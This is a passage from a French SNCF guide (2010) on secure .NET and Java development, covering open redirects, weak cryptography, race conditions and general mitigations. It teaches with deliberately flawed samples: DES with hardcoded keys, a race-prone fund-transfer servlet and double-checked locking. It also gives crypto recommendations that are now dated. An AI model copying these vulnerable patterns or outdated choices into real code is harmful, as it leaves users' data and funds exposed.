• considérer que tout input du navigateur client est manipulable par un attaquant, et bien comprendre tous les inputs possibles de l’application et les mécanismes associés, même ceux qui ne proviennent pas directement du client (paramétrage, etc.) ;

• lors du contrôle ou de la validation d’un input, considérer toutes les propriétés de

ce dernier (longueur, type, caractères spéciaux, format ou syntaxe, valeur manquante, ensemble des valeurs possibles, cohérence avec d’autres champs, etc.) ;

• n’accepter que les inputs qui répondent strictement aux spécifications, et se baser

pour cela de préférence sur une approche whitelist (liste des valeurs ou formats acceptés) que sur une approche blacklist (liste d’exclusion) ;

- si possible utiliser une whitelist de patterns d’URL ou de domaines sur lesquels les redirections sont autorisées ;

Séparation entre traitement (code) et données (input)

• si le nombre d’URL sujets à redirection est limité, utiliser une table de

correspondance entre des identifiants symboliques (par exemple numériques), utilisés comme input côté client, et des URL fixes stockés côté serveur ;

Avertissement de l’utilisateur

• utiliser une page intermédiaire affichée suffisamment longtemps à l’utilisateur

avant la redirection, l’informant qu’il est redirigé, avec éventuellement une mention spéciale si il est redirigé en dehors du domaine du site, ou bien obliger l’utilisateur à cliquer explicitement sur le lien ou l’on souhaite le rediriger — attention au cross site scripting (CWE-069, XSS) dans la génération de cette page ;

Page 64: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 61 / 61

24 – CWE 327 : Utilisation d'un algorithme de chiffrement peu éprouvé ou réputé peu robuste

Caractéristiques

Fréquence de la faille

Facilité de détection

Coût de correction

Probabilité de connaissance

Fréquence des attaques Conséquences / impact [DL] [SB]

Description L’utilisation d’un algorithme de chiffrement ou de hashage peu robuste ou non réputé fiable est un risque inutile qui peut conduire à la divulgation d’informations sensibles. Un attaquant déterminé peut casser le chiffrement ou le protocole s’il comporte une faille ou utilise une longueur de clé trop faible (attaque en force brute).

Exemples L’exemple figure 43 présente une utilisation typique de l’algorithme de chiffrement symétrique DES. L’algorithme DES utilisé une clé de longueur 64 bits (56 réels) qui est déjà trop faible aujourd’hui par rapport aux moyens crypto-analytiques disponibles.

public string Crypter (string chaineEnClair) { // Créé une nouvelle instance de DESCryptoService DESCryptoServiceProvider des = new DESCryptoServic eProvider(); // on choisit des clés de 8 caractères string key = "abcdefgh"; string keyIV = "hgfedcba"; // Créé les clés DES byte[] _key = Encoding.UTF8.GetBytes(key); byte[] _keyIV = Encoding.UTF8.GetBytes(keyIV); ICryptoTransform _encryptor; MemoryStream ms; CryptoStream cs; // récupère la chaîne dans un tableau de bits byte[] byt; byt = Encoding.UTF8.GetBytes(chaineEnClair); // créé la clé de cryptage _encryptor = des.CreateEncryptor(_key, _keyIV); // utilisation de flux pour crypter les blocs ms = new MemoryStream(); cs = new CryptoStream(ms, _encryptor, CryptoStream Mode.Write); cs.Write(byt, 0, byt.Length); cs.FlushFinalBlock(); cs.Close(); // renvoit la chaîne cryptée return Convert.ToBase64String(ms.ToArray()); }

Figure 43 : Utilisation de DES avec C#

Page 65: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 62 / 62

Prévention

Utilisation de librairie et algorithme de chiffrement fiable et éprouvé

• éviter d’utiliser des algorithmes codés manuellement, ou bien reconnus comme

trop simples ou faillibles (par exemple ROT, XOR, etc.) — le choix des algorithmes et de la longueur des clés à utiliser dépend de plusieurs contraintes :

- contraintes légales : l’utilisation de certains algorithmes ou longueur peut être soumise à une réglementation locale ;

- durée souhaitée de robustesse : en fonction de la durée d’utilisation d’un algorithme, il est important de choisir une longueur de clé qui devra être encore adaptée aux moyens technologiques prévu en fin de vie de l’application ;

• quelques exemples d’algorithmes couramment utilisés en 2010 :

pour le chiffrement symétrique : AES (ou RINJDAEL),

pour le chiffrement asymétrique : RSA1024 ou RSA2048,

pour le hashage : SHA2 ou SHA256.

• ASP.NET : exemple de chiffrement AES (algorithme de RINJDAEL) pour chiffrer

de façon symétrique une chaine de caractère ;

private static string EncryptString(string clearText, string strKe y, string strIv) { // Place le texte à chiffrer dans un tableau d'octe ts byte[] plainText = Encoding.UTF8.GetBytes(clearTex t); // Place la clé de chiffrement dans un tableau d'oc tets byte[] key = Encoding.UTF8.GetBytes(strKey); // Place le vecteur d'initialisation dans un tablea u d'octets byte[] iv = Encoding.UTF8.GetBytes(strIv); RijndaelManaged rijndael = new RijndaelManaged(); // Définit le mode utilisé rijndael.Mode = CipherMode.CBC; // Crée le chiffreur AES - Rijndael ICryptoTransform aesEncryptor = rijndael.CreateEnc ryptor(key, iv); MemoryStream ms = new MemoryStream(); // Ecris les données chiffrées dans le MemoryStream CryptoStream cs = new CryptoStream(ms, aesEncrypto r, CryptoStreamMode.Write); cs.Write(plainText, 0, plainText.Length); cs.FlushFinalBlock(); // Place les données chiffrées dans un tableau d'oc tet byte[] CipherBytes = ms.ToArray(); ms.Close(); cs.Close(); // Place les données chiffrées dans une chaine enco dée en Base64 return Convert.ToBase64String(CipherBytes); }

Figure 44: utilisation de AES (RINJDAEL) en C#

Page 66: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 63 / 63

25 – CWE-362 : Concurrence de thread (race condition)

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction

Probabilité de connaissance

Fréquence des attaques Conséquences / impact [CE] [DL] [DoS]

Description Cette faille se produit lorsque le déroulement du programme de l’application nécessite qu’un certain état soit conservé entre deux opérations, m’ais qu’il existe un intervalle de temps (même très court) pendant lequel cet état risque d’être modifié inopinément par un autre thread ou processus.

Des implications en termes de sécurité sont possibles lorsque cet état incohérent survient lors du calcul d’une décision de sécurité, par exemple pour déterminer si un utilisateur est authentifié ou non.

Exemples

Java – race condition sur le transfert d’une ressource à un autre

Le code du servlet de la figure 45 est celui d’une application fictive de e-commerce permettant de transférer des fonds d’un compte à un autre. On supposera que Account est une classe métier gérant la persistance des comptes en base de façon automatique.

int balance = account.getBalance(); int amount = Integer.parseInt(request.getParameter( "amount" )); int newBalance = balance - amount; if (newBalance < 0) forwardNotify(request, response, FAILURE, "Insufficient funds" ); else { destAccount.setBalance(amount + destAccount.getBal ance()); account.setBalance(newBalance); forwardNotify(request, response, SUCCESS, "Transfer of " +amount+ " succeeded" ); }

Figure 45. Code Java comportant une race condition

Le problème est ici qu’aucune protection ou synchronisation contre l’accès concurrent entre l’opération getBalance() et le transfert sur destAccount n’est présente. Il est possible qu’un autre thread effectue un transfert, suite à une requête HTTP simultanée du même utilisateur. En l’absence de mécanisme de synchronisation, les évènements peuvent s’enchainer comme suit :

1. une première requête arrive, pour un transfert de 80, la balance est initialement à 100 ;

2. une deuxième requête arrive presque en même temps, pour un transfert de 1, mais la balance est toujours à 100 car la première n’a pas eu le temps de se terminer ;

3. la première requête se termine, et met la balance à 20 en base ;

4. la deuxième se termine à son tour, et met la balance à 99 en base.

Page 67: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 64 / 64

Au final l’utilisateur frauduleux, grâce à l’exploitation de cette faille, obtient 99 dans son compte au lieu de 19, tout en ayant transféré 81.

Prévention

Utilisation des primitives de synchronisation du langage

• utiliser les primitives de synchronisation du langage :

- Java : utiliser le mot clé synchronize sur les blocs de code (préféré) ou sur les méthodes (si de nombreuses variables partagées sont impliquées),

- C# .NET : utiliser le mot-clé lock pour protéger des blocs de code.

Remarques. Ne pas utiliser l’objet courant (this) avec lock ou synchronize , mais toujours un objet spécifique dédié à cet usage ;

• attention aux inter-blocages ;

• ne synchroniser que les sections vraiment critiques du code, pour minimiser

l’impact de cette synchronisation sur les performances ;

• utiliser le mot clé volatile sur les variables critiques pour éviter les

optimisations de compilateur imprévues — cela ne résout pas tous les problèmes de synchronisation mais peut aider dans certains cas ;

- attention aux opérations sur une variable volatile qui semblent atomiques (telles que i++ , x += , a[i] = , etc.) mais ne le sont pas en réalité ;

Utilisation de ressources partagées et classes thread-safe

• limiter au maximum l’usage de ressources partagées (entre threads) afin de réduire

la complexité induite par la concurrence des threads, ce qui peut en outre améliorer les performances et réduire le risque d’attaques de déni de service (DOS attack) ;

• utiliser des ressources ou classes dites thread-safe si elles sont potentiellement

partagées par plusieurs threads, par exemple les data access abstractions de Spring ;

Erreurs liées à des optimisations

• éviter les erreurs de codage induites par la volonté d’éviter la synchronisation et

optimiser les performances, telles que le problème de la double vérification d’une condition de verrou, comme dans l’exemple figure 46 ci-dessous :

public void getHelper() { if (helper == null) { synchronized (this) { if (helper == null) { helper = new Helper(); } } } return helper; }

Figure 46. Optimisation erronée par double vérification d’une condition de verrou

Page 68: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 65 / 65

Ici le programmeur veut garantir qu’un seul helper sera instancié de façon thread-safe, mais veut éviter le coût de la synchronisation lorsque helper est non nul. Ce code semble correct à première vue, mais avec certaines implémentations de la JVM (avant la version 1.5 et l’usage de volatile ), il est possible que la variable helper soit instanciée par un premier thread avant que le constructeur n’ait fini de s’exécuter. Un autre thread manipulera donc helper alors qu’il n’est pas complètement initialisé ;

Page 69: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 66 / 66

3 Autres bonnes pratiques

3.1 Prévention générale Cette section présente un ensemble de mesures de prévention et de bonnes pratiques générales, liées à une partie importante des failles de sécurité, correspondant aux monster mitigations définies par le Top 25 CWE / SANS. Ces mesures de prévention se retrouvent bien sur directement ou indirectement dans la prévention de certaines failles en 2.3, où elles sont déclinées de façon plus spécifique au contexte de la faille en question.

Bien que cette prévention générale ne permette pas d’appréhender les risques et ne remplace pas la prise de connaissance des différentes failles de sécurité du Top 25 et des mesures de prévention spécifiques associées, elle représente un point de départ raisonnable applicable à tout projet ou application.

Le tableau 4 donne la liste des mesures de prévention (Mx) et les bonnes pratiques générales (GPx), avec, pour les mesures de prévention, les failles concernées par ces mesures — les bonnes pratiques générales ayant elles un impact global sur la sécurité.

ID Failles impactées* Description succincte

M1 1, 2, 6, 7, 8, 9, 15, 16, 17, 22, 23

Contrôle et maîtrise de tous les inputs de l’application. Note. La validation d’input permet de limiter le risque d’injection mais ne remplace pas l’encodage d’output (échappement, quoting)

M2 1, 2, 9, 15, 16, 21, 23

Contrôle et maîtrise de tous les outputs de l’application, et encodage (échappement, quoting) des outputs si nécessaire

M3 19, général : limite impact

Verrouiller le périmètre et les droits de l’environnement d’exécution de l’application ou du serveur d’application

M4 1, 2, 4, 5, 6, 7, 8, 9, 11, 16, 17, 22, 23

Considérer que tout composant externe peut être compromis, et que le code source de l’application est accessible à un attaquant

M5 5, 6, 11, 19, 21, 24 Utiliser des éléments de sécurité (librairie, protocole, algorithme, etc.) reconnus par l’industrie plutôt d’inventer ou développer les vôtres

GP1 (général) Utiliser des librairies ou frameworks qui permettent d’éviter plus facilement d’introduire des vulnérabilités

GP2 (général) Prendre en compte la sécurité sur l’ensemble du cycle de développement de l’application

GP3 (général) Utiliser une combinaison de méthodes et outils variées afin d’identifier ou prévenir un maximum de failles

GP4 (général) Permettre à un navigateur client aux possibilités restreintes (pas de JavaScript, pas de plugins, etc.) d’accéder à l’application

Tableau 4. Prévention générale (monster mitigations) (* identifiées ici par leur rang dans le Top 25 2010, et non leur ID CWE)

Note. Une mise en correspondance quantitative (impact et efficacité) des mesures de prévention avec les failles du CWE est donnée par la Monster Mitigation Matrix [5] définie par le Top 25 CWE / SANS.

Page 70: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 67 / 67

3.2 Bases de données La sécurisation des développements est de toute évidence très liée aux bases de données, et aux bonnes pratiques correspondantes. Selon l’application, une partie plus ou moins importante du code sera en effet comprise dans le SGBD, sous forme par exemple de procédures stockées ou de vues, même pour une application Java ou .NET qui n’utilise la base de données que pour la persistance des données.

Se référer au document 1223C sur la sécurité et l’optimisation de SQL Server 2008 [2], en particulier les sections suivantes :

• pages 7 à 10 : rappels sur l’utilisation des schémas et rôles de base de données ;

• pages 10 à 14 : rappels sur l’injection de code, notamment les injections SQL par des inputs non validées, et les injections de code par dépassement de buffer ;

En termes de contrôle d’accès et d’habilitation, les SGBD possèdent leurs propres mécanismes de gestion des utilisateurs, rôles et permissions. Le document 1223C propose une approche permettant « d’encapsuler » les schémas derrière des procédures stockées d’accès, avec des rôles (du SGBD) définissant des accès spécifiques à telle ou telle procédure stockée sur tel schéma, d’une manière qui rappelle la programmation orientée objet, de façon à éviter un accès direct à ces schémas par les comptes utilisateurs.

Cette méthode permet de réduire la surface d’attaque contre les injections SQL, mais elle n’est toutefois pas applicable directement, dans la majorité des cas, au contexte des applications Web en Java et .NET. Le problème est en effet que la granularité des comptes « utilisateur » du SGBD utilisés par l’application n’est pas la même que celle des utilisateurs réels de l’application, qui sont généralement en très grand nombre.

L’application Web va typiquement utiliser deux ou trois comptes techniques d’accès au SGBD, voire souvent un seul compte global — cette dernière pratique, qui n’est pas idéale en termes de sécurité, est malheureusement favorisée par l’usage et les frameworks de persistance courants tels que Hibernate, NHibernate, Toplink, etc.

Si plusieurs comptes sont définis, chaque compte technique utilisé correspondra à un rôle particulier de l’application (administrateur, utilisateur, etc.), et non à un ensemble de fonctions, car le choix du compte technique doit se faire au début de la session. Les frameworks de persistance ne permettent pas en effet de gérer facilement le changement de compte technique de connexion au SGBD en cours de session, ou l’utilisation de plusieurs comptes simultanés. L’utilisation des rôles dans le SGBD n’est donc pas utile ici puisque la notion de rôle est déjà portée par les comptes techniques.

Le lecteur pourra également se référer aux documents produits par DSIT-XAI/MR sur la sécurisation des bases de données SQL Server [16] et sur la sécurisation des bases de données Oracle [17].

Page 71: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 68 / 68

Références

[1] DSIT-EX-AR. Périmètre ZEN : sécurisation des développements. Mai 2010. Minidoc 12AP2

[2] DSIT-EX-AR. SQL Server 2008, sécurité et optimisation. Juillet 2010. Minidoc 1223C

[3] MITRE. Common Weakness Enumeration (CWE) http://cwe.mitre.org/

[4] MITRE & SANS. Top 25 CWE / SANS 2010. http://cwe.mitre.org/top25

[5] MITRE & SANS. Top 25 Monster Mitigation Matrix. http://cwe.mitre.org/top25/mitigations.html#MitigationMatrix

[6] OWASP Top 10 risks 2010. http://www.owasp.org/index.php/Top_10_2010-Main

[7] OWASP Development Guide. http://www.owasp.org/index.php/Guide

[8] OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet. http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

[9] OWASP. CSRF Guard.NET http://www.owasp.org/index.php/.Net_CSRF_Guard Code source sur GoogleCode : http://code.google.com/p/owasp-code-central/source/checkout

[10] WASC. WASC Threat Classification. http://projects.webappsec.org/Threat-Classification

[11] CERT. CERT Secure Coding Standard. https://www.securecoding.cert.org/

[12] ISF. Standard of Good Practice for Information Security. https://www.isfsecuritystandard.com/

[13] E. FELTEN et W. ZELLER. Cross-Site Request Forgeries: Exploitation and Prevention. http://from.bz/public/documents/publications/csrf.pdf

[14] Direct Web Remoting (DWR) http://directwebremoting.org/dwr/index.html

[15] Microsoft. How to: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI. http://msdn.microsoft.com/en-us/library/ms998280.aspx

[16] DSIT-XAI/MR. Sécurisation des bases de données Microsoft SQL Server. Minidoc X07NX

[17] DSIT-XAI/MR. Sécurisation des bases de données Oracle. Minidoc 11YY2

[18] Configuration de TOMCAT avec SSL : http://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html

[19] HOWTO Apache 2.2 + SSL/TLS : http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html

Page 72: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 69 / 69

[20] DSIT-XAI/MR - Sécurisation des plateformes Web Apache 2.x. (ref. Minidoc X042R)

Terminologie

Hammeçonnage (Phishing) Technique utilisée par des fraudeurs pour obtenir des renseignements personnels dans le but de perpétrer une usurpation d'identité. La technique consiste à faire croire à la victime qu'elle s'adresse à un tiers de confiance — banque, administration, etc. — afin de lui soutirer des renseignements personnels : mot de passe, numéro de carte de crédit, date de naissance, etc. Le phishing « Web », qui nous intéresse ici, se fait généralement par courrier électronique formaté en HTML, par des sites Web falsifiés, ou une combinaison des deux.

Forge de requête Technique consistant à fabriquer une requête HTTP manuellement, sans nécessairement utiliser un lien ou bouton présent sur une page de l’application. La forge la plus simple consiste à taper un URL dans le champ d’adresse du navigateur, mais cela peut inclure aussi les entêtes HTTP (donc les cookies), le corps d’un HTTP POST, etc.

Injection Technique d’attaque consistant à soumettre à l’application des données spécialement formatées dans le but de duper un interpréteur (navigateur, base de données, etc.) en utilisant des caractères spéciaux (délimiteurs de littéraux, séparateurs de requêtes, commentaires, etc.) violant la séparation entre données et traitements.

Redirection Réponse HTTP contenant un code particulier (300, 301, 302, 303 ou 307) instruisant au navigateur de rediriger cette requête vers un autre URL. Les redirections sont fréquemment utilisées, à de multiples fins, et peuvent constituer un risque dans la mesure où l’utilisateur ne contrôle pas forcément sur quelle nouvelle adresse il est renvoyé.

Note. Il existe d’autres techniques de redirection, non HTTP (JavaScript, redirection serveur, manuelle, etc.)

Contrôle d’accès (= Gestion des habilitations) Fonctionnalité de sécurisation d’une application déterminant quelle requête à droit à quelle ressource ou privilège. Le contrôle d’accès est distinct de l’authentification (cf.), qui permet de certifier qu’un utilisateur est bien celui qu’il prétend être, mais l’authentification est généralement nécessaire au contrôle d’accès, en particulier s’il est basé sur des rôles.

Note. Le contrôle d’accès peut aussi être basé sur l’adresse IP ou le domaine, ou tout autre critère discriminant l’utilisateur. Toutefois le contrôle d’accès basé sur les rôles est la forme la plus répandue.

Authentification Fonction permettant d’authentifier un utilisateur, ou un serveur, c'est-à-dire permettant de s’assurer que l’utilisateur ou le serveur est bien celui ou celle qu’il prétend être. L’authentification peut être basé sur un mot de passe (le plus courant), sur un certificat de cryptographie, ou sur d’autres critère (biométrique, etc.).

Page 73: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 70 / 70

Signature Technique cryptographique permettant d’authentifier de l’intégrité et/ou de l’origine d’un document ou d’une donnée,

Page 74: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51

Fiche d’identification du document

Titre Sécurisation des développements .NET et Java

Sous-titre Guide de bonnes pratiques de développement

Sous-titre Projet ZEN

Type Mode opératoire

Émetteur SNCF - Pôle DSIT-E7

Référence 12AMQ

Version 1

Date d’application

Cycle éditorial Rédacteur PILON Wilfried;SIVIGNON Nicolas;JOUVIN

Denis 13/07/2010

Vérificateur PILON Wilfried;MOUFOK Grégory;PLANQUART Jean-Philippe

27/10/2010

Approbateur KLEIN Isabelle 27/10/2010

Texte(s) de référence

Historique des versions

Version Date d’application Date de retrait

Diffusion